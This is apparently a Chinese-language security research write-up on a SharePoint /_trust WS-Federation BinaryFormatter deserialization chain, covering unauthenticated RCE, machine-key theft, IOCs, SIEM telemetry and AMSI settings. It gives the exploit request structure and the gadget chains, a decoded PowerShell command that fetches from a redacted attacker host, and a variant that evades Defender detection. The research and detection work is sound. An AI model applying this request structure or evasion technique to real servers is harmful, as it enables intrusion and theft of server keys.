
PoC、IOC 以及针对 SharePoint /_trust WS-Federation BinaryFormatter 反序列化链的检测逻辑。实验室重建涵盖未认证 RCE、进程内机器密钥窃取,以及每个变体留下的痕迹。适用于 SharePoint 2016、2019 和 Subscription Edition。CVE-2026-50522、CVE-2026-45659、CVE-2026-56164、CVE-2026-58644。
/_trust WS-Federation 反序列化:PoC 与检测笔记在线文档(GitHub Pages):https://sp-poc.wismansec.com/(本文档的 HTML 渲染)。
影响范围:SharePoint Server 2016、2019 和 Subscription Edition。
在隔离实验室中对 SharePoint Server(Subscription Edition)入侵的重现,旨在 (a) 了解攻击者的完整能力,(b) 确定防御者应搜寻的内容,包括隐蔽持久化,(c) 分享 PoC 以帮助其他调查人员。
仅限授权研究。 此处所有操作均在隔离的、个人所有的实验硬件和账户上执行,针对的是特意保留未修补状态的测试构建。该底层问题已由供应商修复;请应用最新更新。不要对不属于你且未经明确授权测试的系统运行此操作。机器密钥值、内部主机名/IP 和回调域在文本和示例工件中均已脱敏。SIEM 截图未经修改,带有实验室真实名称;参见 §4 中的说明。
/_trust SecurityContextToken BinaryFormatter 反序列化系列POST /_trust/default.aspx(WS-Federation 登录)携带恶意 SecurityContextToken,在 SharePoint 工作进程(w3wp.exe)中触发 BinaryFormatter 反序列化,以 Web 应用池身份实现远程代码执行。/_trust 启用 AMSI 请求体扫描可检测并阻止它;参见 §5)。这些密钥使攻击者能够伪造即使修补后仍然有效的 __VIEWSTATE/认证令牌。/_trust 请求特征——这是每个变体中唯一存在的工件。SharePoint 在 /_trust/default.aspx 暴露了一个 WS-Federation 被动登录端点。精心构造的登录响应(wa=wsignin1.0 + wresult=<RequestSecurityTokenResponse>)嵌入了一个 SecurityContextToken,其 <Cookie> 元素是 base64、DEFLATE 压缩的 BinaryFormatter 流。在服务端,该 cookie 被解压并在无类型限制的情况下反序列化,因此通过 ysoserial.net 的 gadget 链在 w3wp.exe 内执行攻击者控制的代码。
请求框架(未经身份验证):
POST /_trust/default.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
wa=wsignin1.0&wctx=<url>&wresult=<RequestSecurityTokenResponse>...
<SecurityContextToken><Cookie>BASE64(DEFLATE(BinaryFormatter payload))</Cookie>...
| 攻击链 | Gadget | 效果 | 输出通道 |
|---|---|---|---|
| OOB RCE | TypeConfuseDelegate → -EncodedCommand PowerShell | 以池身份执行代码 | 带外(HTTP/DNS beacon) |
| 机器密钥泄露 | ActivitySurrogateDisableTypeCheck → ActivitySurrogateSelectorFromFile(在进程内编译 KeyDump.cs) | 转储 ValidationKey/DecryptionKey | 内联于 HTTP 响应中 |
位于 scripts/ 中的脚本(已脱敏):参数化 OOB RCE 和两阶段密钥转储。载荷投递使用 PowerShell -EncodedCommand,因此多语句载荷能够完整地穿过 cmd.exe/传输层(不会因 ;/&& 引用而被破坏)。
单 SharePoint SE 场(构建版本固定为修复前),应用池身份 LAB\sp_pool,PowerShell 5.1,Microsoft Defender 开启并启用云保护。遥测数据(Windows 事件日志、SharePoint 日志、Defender for Endpoint)发送到 nano,一个轻量级开源 SIEM;攻击者主机运行 ysoserial.net;interactsh 客户端提供 OOB 监听器。文本中的地址和域均已脱敏;参见 §4 中的截图说明。
每一行代表一次真实的引爆;工件按次从 SIEM + OOB 监听器中提取。
截图未经修改。 它们带有实验室的真实主机名和 NetBIOS 名称,这些名称较为粗糙, 与全文使用的脱敏
SHAREPOINT01/LAB不同。相同运行、相同事件, 没有任何摆拍。可在artifacts/中找到适合工作场合的等效内容。
| 调用方式 | 进程树(以 LAB\sp_pool 身份,高完整性) | Defender | OOB beacon | 主要工件 |
|---|---|---|---|---|
| OOB RCE,默认 | w3wp.exe → cmd.exe → powershell.exe → conhost.exe | Behavior:Win32/WebshellLauncher.A(EID 1116 检测 / 1117 删除) | 已回连(竞争) | 4688 树;Defender 1116/1117;/_trust POST |
OOB RCE,-RawCmd | w3wp.exe → powershell.exe → conhost.exe(无 cmd) | 无 | 已回连(DNS+HTTP) | 4688 树;/_trust POST;beacon |
OOB RCE,-DropFile | w3wp.exe → powershell.exe | 无 | 已回连 | 文件写入 …\TEMPLATE\LAYOUTS\(未出现在对象访问审计日志中) |
OOB RCE,-Diag | w3wp.exe → powershell.exe → whoami.exe | 无 | 已回连 | 环境信息泄露外传:{host, whoami, PSver, LanguageMode} |
| 机器密钥转储 | (无,进程内) | 无 | (无) | 仅 /_trust POST + 携带密钥的异常响应 |
这些结果基于默认 AMSI 配置(Balanced 模式,未扫描 /_trust)。若为 /_trust 启用了 AMSI 请求体扫描(Full 模式或定向端点),则每一行都会在请求层被阻止:HTTP 400、Exploit:Script/SpCookieExec.A,发生在执行之前(参见 §5)。

所有四次有记录的引爆,15:01 至 15:18 UTC,w3wp.exe 的每个子进程都以池身份运行。四次中有三次是直接生成的 powershell.exe。只有 15:03:34 那次经由 cmd.exe,且只有那次被检测到。若将窗口扩大到此次之外,同一上午的早期开发迭代也会进入结果集,因此该结论仅限于这四次运行。

默认调用:w3wp.exe → cmd.exe → powershell.exe,并伴有 conhost.exe。这正是 Behavior:Win32/WebshellLauncher.A 所依赖的形态。

-RawCmd 调用,使用相同的原语和相同的载荷,只是去掉了 cmd.exe 一跳。Defender 对这次运行没有任何输出。基于 w3wp → cmd 的检测会完全漏掉它。

同一 25 分钟窗口内、包含四次引爆的所有 Defender 事件。这三条事件全部属于那一次 cmd.exe 运行:两条 malware_detected(严重),随后是 malware_action_taken(操作 Remove)。补救措施没有跑赢 beacon,beacon 先完成了。
从 Security 4688 中逐字恢复的关键命令行(编码 ≠ 规避):
"C:\Windows\System32\cmd.exe" /c powershell.exe -NoProfile -NonInteractive -EncodedCommand <base64>
→ decodes to: iwr -UseBasicParsing 'http://<attacker-oast>/c'

编码后的命令行在 SIEM 中的样子。它只是 UTF-16LE 的 base64,仅此而已;base64 -d | iconv -f utf-16le -t utf-8 一步即可恢复回调。编码不是混淆。
下面的两幅截图覆盖了场机器密钥被盗的同一 90 秒窗口。

未加过滤时,窗口内有 20 条事件。主机存活并发送遥测。

过滤为 w3wp.exe 的子进程后,同一窗口为空。没有进程、没有 Defender 事件、没有 beacon。密钥通过 HTTP 响应离开,唯一的主机侧工件是 /_trust 请求本身,而该 SIEM 并未收集此请求。修补不会撤销已泄露的密钥;请轮换它们。
-Diag 泄露在 OOB 监听器处捕获(URL 解码后):
{ "host": "SHAREPOINT01", "who": "LAB\\sp_pool", "v": "5.1.20348.558", "lm": "FullLanguage" }
每个变体中都存在的唯一特征。 请首先搜索以下内容:
POST /_trust/default.aspx,请求体包含 wa=wsignin1.0,且 wresult 中含有 RequestSecurityTokenResponse + SecurityContextToken/<Cookie>。未经身份验证,User-Agent 通常异常。响应状态基线:发往该端点的合法 WS-Federation 登录流量以 HTTP 302 为主;漏洞利用返回其他状态(200、500、连接重置,或 AMSI 阻止时的 400)。如果该端点有真实登录流量,请将对 POST /_trust/default.aspx 的非 302 响应视为异常。仅凭状态不能确认利用成功;成功的一次运行同时返回了 200 和重置。基于进程(仅限 RCE 变体):
w3wp.exe 直接生成 cmd.exe 或 powershell.exe。-RawCmd 变体去掉了 cmd.exe 一跳并绕过 WebshellLauncher.A,因此不要仅以 w3wp→cmd 作为依据。w3wp 下出现任何 powershell.exe -EncodedCommand:直接从 4688 解码该 blob(它在静态时未被混淆)。w3wp.exe → whoami.exe(侦察),或子进程 conhost.exe。影响响应决策的两项发现:
Behavior:Win32/WebshellLauncher.A 并对其进行补救时,至少在一次执行中观察到了出站 beacon 在补救完成前就已结束。应将此类检测视为可能已成功回调,并在检测时间前后审查 DNS、代理和出站日志中的回调目标。w3wp.exe 内部执行,并通过 HTTP 响应返回密钥,因此唯一的主机侧证据是 POST /_trust/default.aspx 请求及其响应。是否被检测取决于 AMSI 请求体扫描配置。MITRE ATT&CK:T1190(利用面向公众的应用)· T1059.001(PowerShell)· T1552(未受保护的凭据:机器密钥)· T1550(使用伪造的认证材料,窃取后)。
两条攻击链都在 POST /_trust/default.aspx 请求的请求体中投递载荷。Microsoft Defender 是否检查该载荷,由 SharePoint 针对该 Web 应用的 AMSI 请求体扫描配置决定。以下三种配置直接在此场上进行了测试(SharePoint Server Subscription Edition,Microsoft Defender):
| AMSI 请求体配置 | 结果 |
|---|---|
Balanced 模式,/_trust/default.aspx 不在定向端点列表中(默认) | 不扫描请求体;两条链均执行;无 Defender 检测 |
Balanced 模式,/_trust/default.aspx 添加为定向端点 | 扫描请求体;请求被阻止 |
| Full 模式(扫描所有端点) | 扫描请求体;请求被阻止 |
在默认配置下,请求体不会被检查,因此 RCE 和机器密钥泄露都会完成且不产生任何 AMSI 检测。在两种扫描配置下,请求都会在反序列化前以 HTTP 400 被拒绝,不会创建任何工作进程,Defender 记录如下: